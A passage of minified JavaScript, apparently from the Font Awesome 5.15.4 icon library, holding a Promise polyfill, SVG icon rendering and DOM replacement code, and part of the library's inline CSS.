setImmediate>"u"?setTimeout:setImmediate,Fe=[];function Pe(){for(var ye=0;ye<Fe.length;ye++)Fe[ye][0](Fe[ye][1]);Fe=[],be=!1}function Re(ye,st){Fe.push([ye,st]),be||(be=!0,kt(Pe,0))}function xe(ye){var st=ye.owner,I=st._state,L=st._data,T=ye[I],ue=ye.then;if("function"==typeof T){I=u1;try{L=T(L)}catch(gt){Ct(ue,gt)}}J(ue,L)||(I===u1&&Ae(ue,L),I===c1&&Ct(ue,L))}function J(ye,st){var I;try{if(ye===st)throw new TypeError("A promises callback cannot return that same promise.");if(st&&("function"==typeof st||"object"===n(st))){var L=st.then;if("function"==typeof L)return L.call(st,function(T){I||(I=!0,st===T?mt(ye,T):Ae(ye,T))},function(T){I||(I=!0,Ct(ye,T))}),!0}}catch(T){return I||Ct(ye,T),!0}return!1}function Ae(ye,st){(ye===st||!J(ye,st))&&mt(ye,st)}function mt(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(pt,ye))}function Ct(ye,st){ye._state===Gt&&(ye._state=qt,ye._data=st,Re(nt,ye))}function jt(ye){ye._then=ye._then.forEach(xe)}function pt(ye){ye._state=u1,jt(ye)}function nt(ye){ye._state=c1,jt(ye),!ye._handled&&_t&&global.process.emit("unhandledRejection",ye._data,ye)}function fe(ye){global.process.emit("rejectionHandled",ye)}function Ee(ye){if("function"!=typeof ye)throw new TypeError("Promise resolver "+ye+" is not a function");if(!(this instanceof Ee))throw new TypeError("Failed to construct \'Promise\': Please use the \'new\' operator, this object constructor cannot be called as a function.");this._then=[],function Ue(ye,st){function L(T){Ct(st,T)}try{ye(function I(T){Ae(st,T)},L)}catch(T){L(T)}}(ye,this)}Ee.prototype={constructor:Ee,_state:Gt,_then:null,_data:void 0,_handled:!1,then:function(st,I){var L={owner:this,then:new this.constructor(It),fulfilled:st,rejected:I};return(I||st)&&!this._handled&&(this._handled=!0,this._state===c1&&_t&&Re(fe,this)),this._state===u1||this._state===c1?Re(xe,L):this._then.push(L),L.then},catch:function(st){return this.then(null,st)}},Ee.all=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.all().");return new Ee(function(st,I){var L=[],T=0;function ue(Jt){return T++,function(Tt){L[Jt]=Tt,--T||st(L)}}for(var Ot,gt=0;gt<ye.length;gt++)(Ot=ye[gt])&&"function"==typeof Ot.then?Ot.then(ue(gt),I):L[gt]=Ot;T||st(L)})},Ee.race=function(ye){if(!Array.isArray(ye))throw new TypeError("You must pass an array to Promise.race().");return new Ee(function(st,I){for(var T,L=0;L<ye.length;L++)(T=ye[L])&&"function"==typeof T.then?T.then(st,I):st(T)})},Ee.resolve=function(ye){return ye&&"object"===n(ye)&&ye.constructor===Ee?ye:new Ee(function(st){st(ye)})},Ee.reject=function(ye){return new Ee(function(st,I){I(ye)})};var at="function"==typeof Promise?Promise:Ee,Se=Qe,ot={size:16,x:0,y:0,rotate:0,flipX:!1,flipY:!1};function ut(ye){if(ye&&Ze){var st=q.createElement("style");st.setAttribute("type","text/css"),st.innerHTML=ye;for(var I=q.head.childNodes,L=null,T=I.length-1;T>-1;T--){var ue=I[T],gt=(ue.tagName||"").toUpperCase();["STYLE","LINK"].indexOf(gt)>-1&&(L=ue)}return q.head.insertBefore(st,L),ye}}var Rt="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";function Zt(){for(var ye=12,st="";ye-- >0;)st+=Rt[62*Math.random()|0];return st}function a1(ye){for(var st=[],I=(ye||[]).length>>>0;I--;)st[I]=ye[I];return st}function _1(ye){return ye.classList?a1(ye.classList):(ye.getAttribute("class")||"").split(" ").filter(function(st){return st})}function gn(ye){return"".concat(ye).replace(/&/g,"&").replace(/"/g,""").replace(/\'/g,"'").replace(/</g,"<").replace(/>/g,">")}function P1(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,": ").concat(ye[I],";")},"")}function on(ye){return ye.size!==ot.size||ye.x!==ot.x||ye.y!==ot.y||ye.rotate!==ot.rotate||ye.flipX||ye.flipY}function Ge(ye){var st=ye.transform,L=ye.iconWidth,T={transform:"translate(".concat(ye.containerWidth/2," 256)")},ue="translate(".concat(32*st.x,", ").concat(32*st.y,") "),gt="scale(".concat(st.size/16*(st.flipX?-1:1),", ").concat(st.size/16*(st.flipY?-1:1),") "),Ot="rotate(".concat(st.rotate," 0 0)");return{outer:T,inner:{transform:"".concat(ue," ").concat(gt," ").concat(Ot)},path:{transform:"translate(".concat(L/2*-1," -256)")}}}var Me={x:0,y:0,width:"100%",height:"100%"};function O(ye){return ye.attributes&&(ye.attributes.fill||!(arguments.length>1&&void 0!==arguments[1])||arguments[1])&&(ye.attributes.fill="black"),ye}function de(ye){return"g"===ye.tag?ye.children:[ye]}function Wt(ye){var st=ye.icons,I=st.main,L=st.mask,T=ye.prefix,ue=ye.iconName,gt=ye.transform,Ot=ye.symbol,Jt=ye.title,Tt=ye.maskId,t1=ye.titleId,O1=ye.extra,an=ye.watchable,W1=void 0!==an&&an,Bn=L.found?L:I,Dn=Bn.width,sn=Bn.height,Yn="fak"===T,qn=Yn?"":"fa-w-".concat(Math.ceil(Dn/sn*16)),xi=[b.replacementClass,ue?"".concat(b.familyPrefix,"-").concat(ue):"",qn].filter(function(rt){return-1===O1.classes.indexOf(rt)}).filter(function(rt){return""!==rt||!!rt}).concat(O1.classes).join(" "),Wn={children:[],attributes:f({},O1.attributes,{"data-prefix":T,"data-icon":ue,class:xi,role:O1.attributes.role||"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 ".concat(Dn," ").concat(sn)})},Te=Yn&&!~O1.classes.indexOf("fa-fw")?{width:"".concat(Dn/sn*16*.0625,"em")}:{};W1&&(Wn.attributes[Ke]=""),Jt&&Wn.children.push({tag:"title",attributes:{id:Wn.attributes["aria-labelledby"]||"title-".concat(t1||Zt())},children:[Jt]});var y=f({},Wn,{prefix:T,iconName:ue,main:I,mask:L,maskId:Tt,transform:gt,symbol:Ot,styles:f({},Te,O1.styles)}),D=L.found&&I.found?function h(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.mask,ue=ye.maskId,Jt=L.icon,t1=T.icon,O1=Ge({transform:ye.transform,containerWidth:T.width,iconWidth:L.width}),an={tag:"rect",attributes:f({},Me,{fill:"white"})},W1=Jt.children?{children:Jt.children.map(O)}:{},Bn={tag:"g",attributes:f({},O1.inner),children:[O(f({tag:Jt.tag,attributes:f({},Jt.attributes,O1.path)},W1))]},Dn={tag:"g",attributes:f({},O1.outer),children:[Bn]},sn="mask-".concat(ue||Zt()),Yn="clip-".concat(ue||Zt()),qn={tag:"mask",attributes:f({},Me,{id:sn,maskUnits:"userSpaceOnUse",maskContentUnits:"userSpaceOnUse"}),children:[an,Dn]},xi={tag:"defs",children:[{tag:"clipPath",attributes:{id:Yn},children:de(t1)},qn]};return st.push(xi,{tag:"rect",attributes:f({fill:"currentColor","clip-path":"url(#".concat(Yn,")"),mask:"url(#".concat(sn,")")},Me)}),{children:st,attributes:I}}(y):function $(ye){var st=ye.children,I=ye.attributes,L=ye.main,T=ye.transform,gt=P1(ye.styles);if(gt.length>0&&(I.style=gt),on(T)){var Ot=Ge({transform:T,containerWidth:L.width,iconWidth:L.width});st.push({tag:"g",attributes:f({},Ot.outer),children:[{tag:"g",attributes:f({},Ot.inner),children:[{tag:L.icon.tag,children:L.icon.children,attributes:f({},L.icon.attributes,Ot.path)}]}]})}else st.push(L.icon);return{children:st,attributes:I}}(y),Le=D.attributes;return y.children=D.children,y.attributes=Le,Ot?function lt(ye){var I=ye.iconName,L=ye.children,ue=ye.symbol;return[{tag:"svg",attributes:{style:"display: none;"},children:[{tag:"symbol",attributes:f({},ye.attributes,{id:!0===ue?"".concat(ye.prefix,"-").concat(b.familyPrefix,"-").concat(I):ue}),children:L}]}]}(y):function ke(ye){var st=ye.children,I=ye.main,L=ye.mask,T=ye.attributes,ue=ye.styles,gt=ye.transform;if(on(gt)&&I.found&&!L.found){var Tt={x:I.width/I.height/2,y:.5};T.style=P1(f({},ue,{"transform-origin":"".concat(Tt.x+gt.x/16,"em ").concat(Tt.y+gt.y/16,"em")}))}return[{tag:"svg",attributes:T,children:st}]}(y)}function p1(ye){var st=ye.content,I=ye.width,L=ye.height,T=ye.transform,ue=ye.title,gt=ye.extra,Ot=ye.watchable,Jt=void 0!==Ot&&Ot,Tt=f({},gt.attributes,ue?{title:ue}:{},{class:gt.classes.join(" ")});Jt&&(Tt[Ke]="");var t1=f({},gt.styles);on(T)&&(t1.transform=function vt(ye){var st=ye.transform,I=ye.width,T=ye.height,ue=void 0===T?Qe:T,gt=ye.startCentered,Ot=void 0!==gt&>,Jt="";return Jt+=Ot&&le?"translate(".concat(st.x/Se-(void 0===I?Qe:I)/2,"em, ").concat(st.y/Se-ue/2,"em) "):Ot?"translate(calc(-50% + ".concat(st.x/Se,"em), calc(-50% + ").concat(st.y/Se,"em)) "):"translate(".concat(st.x/Se,"em, ").concat(st.y/Se,"em) "),(Jt+="scale(".concat(st.size/Se*(st.flipX?-1:1),", ").concat(st.size/Se*(st.flipY?-1:1),") "))+"rotate(".concat(st.rotate,"deg) ")}({transform:T,startCentered:!0,width:I,height:L}),t1["-webkit-transform"]=t1.transform);var O1=P1(t1);O1.length>0&&(Tt.style=O1);var an=[];return an.push({tag:"span",attributes:Tt,children:[st]}),ue&&an.push({tag:"span",attributes:{class:"sr-only"},children:[ue]}),an}var Qt=function(){},h1=b.measurePerformance&&ce&&ce.mark&&ce.measure?ce:{mark:Qt,measure:Qt},N1=\'FA "5.15.4"\',T1=function(st){h1.mark("".concat(N1," ").concat(st," ends")),h1.measure("".concat(N1," ").concat(st),"".concat(N1," ").concat(st," begins"),"".concat(N1," ").concat(st," ends"))},V1={begin:function(st){return h1.mark("".concat(N1," ").concat(st," begins")),function(){return T1(st)}},end:T1},E1=function(st,I,L,T){var Jt,Tt,t1,ue=Object.keys(st),gt=ue.length,Ot=void 0!==T?function(st,I){return function(L,T,ue,gt){return st.call(I,L,T,ue,gt)}}(I,T):I;for(void 0===L?(Jt=1,t1=st[ue[0]]):(Jt=0,t1=L);Jt<gt;Jt++)t1=Ot(t1,st[Tt=ue[Jt]],Tt,st);return t1};function In(ye){for(var st="",I=0;I<ye.length;I++)st+=("000"+ye.charCodeAt(I).toString(16)).slice(-4);return st}function Gn(ye,st){var L=(arguments.length>2&&void 0!==arguments[2]?arguments[2]:{}).skipHooks,T=void 0!==L&&L,ue=Object.keys(st).reduce(function(gt,Ot){var Jt=st[Ot];return Jt.icon?gt[Jt.iconName]=Jt.icon:gt[Ot]=Jt,gt},{});"function"!=typeof ie.hooks.addPack||T?ie.styles[ye]=f({},ie.styles[ye]||{},ue):ie.hooks.addPack(ye,ue),"fas"===ye&&Gn("fa",st)}var D1=ie.styles,ci=ie.shims,fn={},Rn={},cn={},X1=function(){var st=function(T){return E1(D1,function(ue,gt,Ot){return ue[Ot]=E1(gt,T,{}),ue},{})};fn=st(function(L,T,ue){return T[3]&&(L[T[3]]=ue),L}),Rn=st(function(L,T,ue){var gt=T[2];return L[ue]=ue,gt.forEach(function(Ot){L[Ot]=ue}),L});var I="far"in D1;cn=E1(ci,function(L,T){var gt=T[1];return"far"===gt&&!I&&(gt="fas"),L[T[0]]={prefix:gt,iconName:T[2]},L},{})};function Pn(ye,st){return(fn[ye]||{})[st]}X1();var $n=ie.styles,li=function(){return{prefix:null,iconName:null,rest:[]}};function L1(ye){return ye.reduce(function(st,I){var L=function G1(ye,st){var I=st.split("-"),L=I[0],T=I.slice(1).join("-");return L!==ye||""===T||function Ne(ye){return~Et.indexOf(ye)}(T)?null:T}(b.familyPrefix,I);if($n[I])st.prefix=I;else if(b.autoFetchSvg&&Object.keys(Be).indexOf(I)>-1)st.prefix=I;else if(L){var T="fa"===st.prefix?function An(ye){return cn[ye]||{prefix:null,iconName:null}}(L):{};st.iconName=T.iconName||L,st.prefix=T.prefix||st.prefix}else I!==b.replacementClass&&0!==I.indexOf("fa-w-")&&st.rest.push(I);return st},li())}function Cn(ye,st,I){if(ye&&ye[st]&&ye[st][I])return{prefix:st,iconName:I,icon:ye[st][I]}}function Mn(ye){var st=ye.tag,I=ye.attributes,L=void 0===I?{}:I,T=ye.children,ue=void 0===T?[]:T;return"string"==typeof ye?gn(ye):"<".concat(st," ").concat(function nn(ye){return Object.keys(ye||{}).reduce(function(st,I){return st+"".concat(I,\'="\').concat(gn(ye[I]),\'" \')},"").trim()}(L),">").concat(ue.map(Mn).join(""),"</").concat(st,">")}var di=function(){};function ri(ye){return"string"==typeof(ye.getAttribute?ye.getAttribute(Ke):null)}var Nn={replace:function(st){var I=st[0],T=st[1].map(function(gt){return Mn(gt)}).join("\\n");if(I.parentNode&&I.outerHTML)I.outerHTML=T+(b.keepOriginalSource&&"svg"!==I.tagName.toLowerCase()?"\\x3c!-- ".concat(I.outerHTML," Font Awesome fontawesome.com --\\x3e"):"");else if(I.parentNode){var ue=document.createElement("span");I.parentNode.replaceChild(ue,I),ue.outerHTML=T}},nest:function(st){var I=st[0],L=st[1];if(~_1(I).indexOf(b.replacementClass))return Nn.replace(st);var T=new RegExp("".concat(b.familyPrefix,"-.*"));delete L[0].attributes.style,delete L[0].attributes.id;var ue=L[0].attributes.class.split(" ").reduce(function(Ot,Jt){return Jt===b.replacementClass||Jt.match(T)?Ot.toSvg.push(Jt):Ot.toNode.push(Jt),Ot},{toNode:[],toSvg:[]});L[0].attributes.class=ue.toSvg.join(" ");var gt=L.map(function(Ot){return Mn(Ot)}).join("\\n");I.setAttribute("class",ue.toNode.join(" ")),I.setAttribute(Ke,""),I.innerHTML=gt}};function ln(ye){ye()}function u2(ye,st){var I="function"==typeof st?st:di;if(0===ye.length)I();else{var L=ln;b.mutateApproach===ve&&(L=ee.requestAnimationFrame||ln),L(function(){var T=function _i(){return!0===b.autoReplaceSvg?Nn.replace:Nn[b.autoReplaceSvg]||Nn.replace}(),ue=V1.begin("mutate");ye.map(T),ue(),I()})}}var dn=!1;function Ei(){dn=!1}var Hn=null;var zi=function(st){var I={size:16,x:0,y:0,flipX:!1,flipY:!1,rotate:0};return st?st.toLowerCase().split(" ").reduce(function(L,T){var ue=T.toLowerCase().split("-"),gt=ue[0],Ot=ue.slice(1).join("-");if(gt&&"h"===Ot)return L.flipX=!0,L;if(gt&&"v"===Ot)return L.flipY=!0,L;if(Ot=parseFloat(Ot),isNaN(Ot))return L;switch(gt){case"grow":L.size=L.size+Ot;break;case"shrink":L.size=L.size-Ot;break;case"left":L.x=L.x-Ot;break;case"right":L.x=L.x+Ot;break;case"up":L.y=L.y-Ot;break;case"down":L.y=L.y+Ot;break;case"rotate":L.rotate=L.rotate+Ot}return L},I):I};function Ni(ye){var st=function Qi(ye){var st=ye.getAttribute("data-prefix"),I=ye.getAttribute("data-icon"),L=void 0!==ye.innerText?ye.innerText.trim():"",T=L1(_1(ye));return st&&I&&(T.prefix=st,T.iconName=I),T.prefix&&L.length>1?T.iconName=function Fn(ye,st){return(Rn[ye]||{})[st]}(T.prefix,ye.innerText):T.prefix&&1===L.length&&(T.iconName=Pn(T.prefix,In(ye.innerText))),T}(ye),I=st.iconName,L=st.prefix,T=st.rest,ue=function Fi(ye){var st=ye.getAttribute("style"),I=[];return st&&(I=st.split(";").reduce(function(L,T){var ue=T.split(":"),gt=ue[0],Ot=ue.slice(1);return gt&&Ot.length>0&&(L[gt]=Ot.join(":").trim()),L},{})),I}(ye),gt=function hi(ye){return zi(ye.getAttribute("data-fa-transform"))}(ye),Ot=function Kn(ye){var st=ye.getAttribute("data-fa-symbol");return null!==st&&(""===st||st)}(ye),Jt=function Ti(ye){var st=a1(ye.attributes).reduce(function(T,ue){return"class"!==T.name&&"style"!==T.name&&(T[ue.name]=ue.value),T},{}),I=ye.getAttribute("title"),L=ye.getAttribute("data-fa-title-id");return b.autoA11y&&(I?st["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(L||Zt()):(st["aria-hidden"]="true",st.focusable="false")),st}(ye),Tt=function qi(ye){var st=ye.getAttribute("data-fa-mask");return st?L1(st.split(" ").map(function(I){return I.trim()})):li()}(ye);return{iconName:I,title:ye.getAttribute("title"),titleId:ye.getAttribute("data-fa-title-id"),prefix:L,transform:gt,symbol:Ot,mask:Tt,maskId:ye.getAttribute("data-fa-mask-id"),extra:{classes:T,styles:ue,attributes:Jt}}}function ei(ye){this.name="MissingIcon",this.message=ye||"Icon unavailable",this.stack=(new Error).stack}(ei.prototype=Object.create(Error.prototype)).constructor=ei;var Zn={fill:"currentColor"},Hi={attributeType:"XML",repeatCount:"indefinite",dur:"2s"},f2={tag:"path",attributes:f({},Zn,{d:"M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z"})},Vi=f({},Hi,{attributeName:"opacity"}),Bi={tag:"g",children:[f2,{tag:"circle",attributes:f({},Zn,{cx:"256",cy:"364",r:"28"}),children:[{tag:"animate",attributes:f({},Hi,{attributeName:"r",values:"28;14;28;28;14;28;"})},{tag:"animate",attributes:f({},Vi,{values:"1;0;1;1;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"1",d:"M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"1;0;0;0;0;1;"})}]},{tag:"path",attributes:f({},Zn,{opacity:"0",d:"M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z"}),children:[{tag:"animate",attributes:f({},Vi,{values:"0;0;1;1;0;0;"})}]}]},Ji=ie.styles;function bi(ye){var st=ye[0],I=ye[1],ue=E(ye.slice(4),1)[0];return{found:!0,width:st,height:I,icon:Array.isArray(ue)?{tag:"g",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.GROUP)},children:[{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.SECONDARY),fill:"currentColor",d:ue[0]}},{tag:"path",attributes:{class:"".concat(b.familyPrefix,"-").concat(Je.PRIMARY),fill:"currentColor",d:ue[1]}}]}:{tag:"path",attributes:{fill:"currentColor",d:ue}}}}function mn(ye,st){return new at(function(I,L){var T={found:!1,width:512,height:512,icon:Bi};if(ye&&st&&Ji[st]&&Ji[st][ye])return I(bi(Ji[st][ye]));ye&&st&&!b.showMissingIcons?L(new ei("Icon is missing for prefix ".concat(st," with icon name ").concat(ye))):I(T)})}var ai=ie.styles;function Ui(ye){var st=Ni(ye);return~st.extra.classes.indexOf(P)?function fi(ye,st){var I=st.title,L=st.transform,T=st.extra,ue=null,gt=null;if(le){var Ot=parseInt(getComputedStyle(ye).fontSize,10),Jt=ye.getBoundingClientRect();ue=Jt.width/Ot,gt=Jt.height/Ot}return b.autoA11y&&!I&&(T.attributes["aria-hidden"]="true"),at.resolve([ye,p1({content:ye.innerHTML,width:ue,height:gt,transform:L,title:I,extra:T,watchable:!0})])}(ye,st):function jn(ye,st){var I=st.iconName,L=st.title,T=st.titleId,ue=st.prefix,gt=st.transform,Ot=st.symbol,Jt=st.mask,Tt=st.maskId,t1=st.extra;return new at(function(O1,an){at.all([mn(I,ue),mn(Jt.iconName,Jt.prefix)]).then(function(W1){var Bn=E(W1,2),sn=Bn[1];O1([ye,Wt({icons:{main:Bn[0],mask:sn},prefix:ue,iconName:I,transform:gt,symbol:Ot,mask:sn,maskId:Tt,title:L,titleId:T,extra:t1,watchable:!0})])})})}(ye,st)}function o2(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(Ze){var I=q.documentElement.classList,L=function(O1){return I.add("".concat(re,"-").concat(O1))},T=function(O1){return I.remove("".concat(re,"-").concat(O1))},ue=Object.keys(b.autoFetchSvg?Be:ai),gt=[".".concat(P,":not([").concat(Ke,"])")].concat(ue.map(function(t1){return".".concat(t1,":not([").concat(Ke,"])")})).join(", ");if(0!==gt.length){var Ot=[];try{Ot=a1(ye.querySelectorAll(gt))}catch{}if(!(Ot.length>0))return;L("pending"),T("complete");var Jt=V1.begin("onTree"),Tt=Ot.reduce(function(t1,O1){try{var an=Ui(O1);an&&t1.push(an)}catch(W1){xt||W1 instanceof ei&&console.error(W1)}return t1},[]);return new at(function(t1,O1){at.all(Tt).then(function(an){u2(an,function(){L("active"),L("complete"),T("pending"),"function"==typeof st&&st(),Jt(),t1()})}).catch(function(){Jt(),O1()})})}}}function Li(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;Ui(ye).then(function(I){I&&u2([I],st)})}function ki(ye,st){var I="".concat(bt).concat(st.replace(":","-"));return new at(function(L,T){if(null!==ye.getAttribute(I))return L();var gt=a1(ye.children).filter(function(qn){return qn.getAttribute(dt)===st})[0],Ot=ee.getComputedStyle(ye,st),Jt=Ot.getPropertyValue("font-family").match(w),Tt=Ot.getPropertyValue("font-weight"),t1=Ot.getPropertyValue("content");if(gt&&!Jt)return ye.removeChild(gt),L();if(Jt&&"none"!==t1&&""!==t1){var O1=Ot.getPropertyValue("content"),an=~["Solid","Regular","Light","Duotone","Brands","Kit"].indexOf(Jt[2])?pe[Jt[2].toLowerCase()]:R[Tt],W1=In(3===O1.length?O1.substr(1,1):O1),Bn=Pn(an,W1),Dn=Bn;if(!Bn||gt&>.getAttribute(ze)===an&>.getAttribute(De)===Dn)L();else{ye.setAttribute(I,Dn),gt&&ye.removeChild(gt);var sn=function h2(){return{iconName:null,title:null,titleId:null,prefix:null,transform:ot,symbol:!1,mask:null,maskId:null,extra:{classes:[],styles:{},attributes:{}}}}(),Yn=sn.extra;Yn.attributes[dt]=st,mn(Bn,an).then(function(qn){var xi=Wt(f({},sn,{icons:{main:qn,mask:li()},prefix:an,iconName:Dn,extra:Yn,watchable:!0})),Wn=q.createElement("svg");":before"===st?ye.insertBefore(Wn,ye.firstChild):ye.appendChild(Wn),Wn.outerHTML=xi.map(function(Te){return Mn(Te)}).join("\\n"),ye.removeAttribute(I),L()}).catch(T)}}else L()})}function Ci(ye){return at.all([ki(ye,":before"),ki(ye,":after")])}function ti(ye){return!(ye.parentNode===document.head||~We.indexOf(ye.tagName.toUpperCase())||ye.getAttribute(dt)||ye.parentNode&&"svg"===ye.parentNode.tagName)}function Oi(ye){if(Ze)return new at(function(st,I){var L=a1(ye.querySelectorAll("*")).filter(ti).map(Ci),T=V1.begin("searchPseudoElements");(function Sn(){dn=!0})(),at.all(L).then(function(){T(),Ei(),st()}).catch(function(){T(),Ei(),I()})})}var Xi=\'svg:not(:root).svg-inline--fa {\\n overflow: visible;\\n}\\n\\n.svg-inline--fa {\\n display: inline-block;\\n font-size: inherit;\\n height: 1em;\\n overflow: visible;\\n vertical-align: -0.125em;\\n}\\n.svg-inline--fa.fa-lg {\\n vertical-align: -0.225em;\\n}\\n.svg-inline--fa.fa-w-1 {\\n width: 0.0625em;\\n}\\n.svg-inline--fa.fa-w-2 {\\n width: 0.125em;\\n}\\n.svg-inline--fa.fa-w-3 {\\n width: 0.1875em;\\n}\\n.svg-inline--fa.fa-w-4 {\\n width: 0.25em;\\n}\\n.svg-inline--fa.fa-w-5 {\\n width: 0.3125em;\\n}\\n.svg-inline--fa.fa-w-6 {\\n width: 0.375em;\\n}\\n.svg-inline--fa.fa-w-7 {\\n width: 0.4375em;\\n}\\n.svg-inline--fa.fa-w-8 {\\n width: 0.5em;\\n}\\n.svg-inline--fa.fa-w-9 {\\n width: 0.5625em;\\n}\\n.svg-inline--fa.fa-w-10 {\\n width: 0.625em;\\n}\\n.svg-inline--fa.fa-w-11 {\\n width: 0.6875em;\\n}\\n.svg-inline--fa.fa-w-12 {\\n width: 0.75em;\\n}\\n.svg-inline--fa.fa-w-13 {\\n width: 0.8125em;\\n}\\n.svg-inline--fa.fa-w-14 {\\n width: 0.875em;\\n}\\n.svg-inline--fa.fa-w-15 {\\n width: 0.9375em;\\n}\\n.svg-inline--fa.fa-w-16 {\\n width: 1em;\\n}\\n.svg-inline--fa.fa-w-17 {\\n width: 1.0625em;\\n}\\n.svg-inline--fa.fa-w-18 {\\n width: 1.125em;\\n}\\n.svg-inline--fa.fa-w-19 {\\n width: 1.1875em;\\n}\\n.svg-inline--fa.fa-w-20 {\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-pull-left {\\n margin-right: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-pull-right {\\n margin-left: 0.3em;\\n width: auto;\\n}\\n.svg-inline--fa.fa-border {\\n height: 1.5em;\\n}\\n.svg-inline--fa.fa-li {\\n width: 2em;\\n}\\n.svg-inline--fa.fa-fw {\\n width: 1.25em;\\n}\\n\\n.fa-layers svg.svg-inline--fa {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.fa-layers {\\n display: inline-block;\\n height: 1em;\\n position: relative;\\n text-align: center;\\n vertical-align: -0.125em;\\n width: 1em;\\n}\\n.fa-layers svg.svg-inline--fa {\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter, .fa-layers-text {\\n display: inline-block;\\n position: absolute;\\n text-align: center;\\n}\\n\\n.fa-layers-text {\\n left: 50%;\\n top: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter {\\n background-color: #ff253a;\\n border-radius: 1em;\\n -webkit-box-sizing: border-box;\\n box-sizing: border-box;\\n color: #fff;\\n height: 1.5em;\\n line-height: 1;\\n max-width: 5em;\\n min-width: 1.5em;\\n overflow: hidden;\\n padding: 0.25em;\\n right: 0;\\n text-overflow: ellipsis;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-bottom-right {\\n bottom: 0;\\n right: 0;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom right;\\n transform-origin: bottom right;\\n}\\n\\n.fa-layers-bottom-left {\\n bottom: 0;\\n left: 0;\\n right: auto;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom left;\\n transform-origin: bottom left;\\n}\\n\\n.fa-layers-top-right {\\n right: 0;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-top-left {\\n left: 0;\\n right: auto;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top left;\\n transform-origin: top left;\\n}\\n\\n.fa-lg {\\n font-size: 1.3333333333em;\\n line-height: 0.75em;\\n vertical-align: -0.0667em;\\n}\\n\\n.fa-xs {\\n font-size: 0.75em;\\n}\\n\\n.fa-sm {\\n font-size: 0.875em;\\n}\\n\\n.fa-1x {\\n font-size: 1em;\\n}\\n\\n.fa-2x {\\n font-size: 2em;\\n}\\n\\n.fa-3x {\\n font-size: 3em;\\n}\\n\\n.fa-4x {\\n font-size: 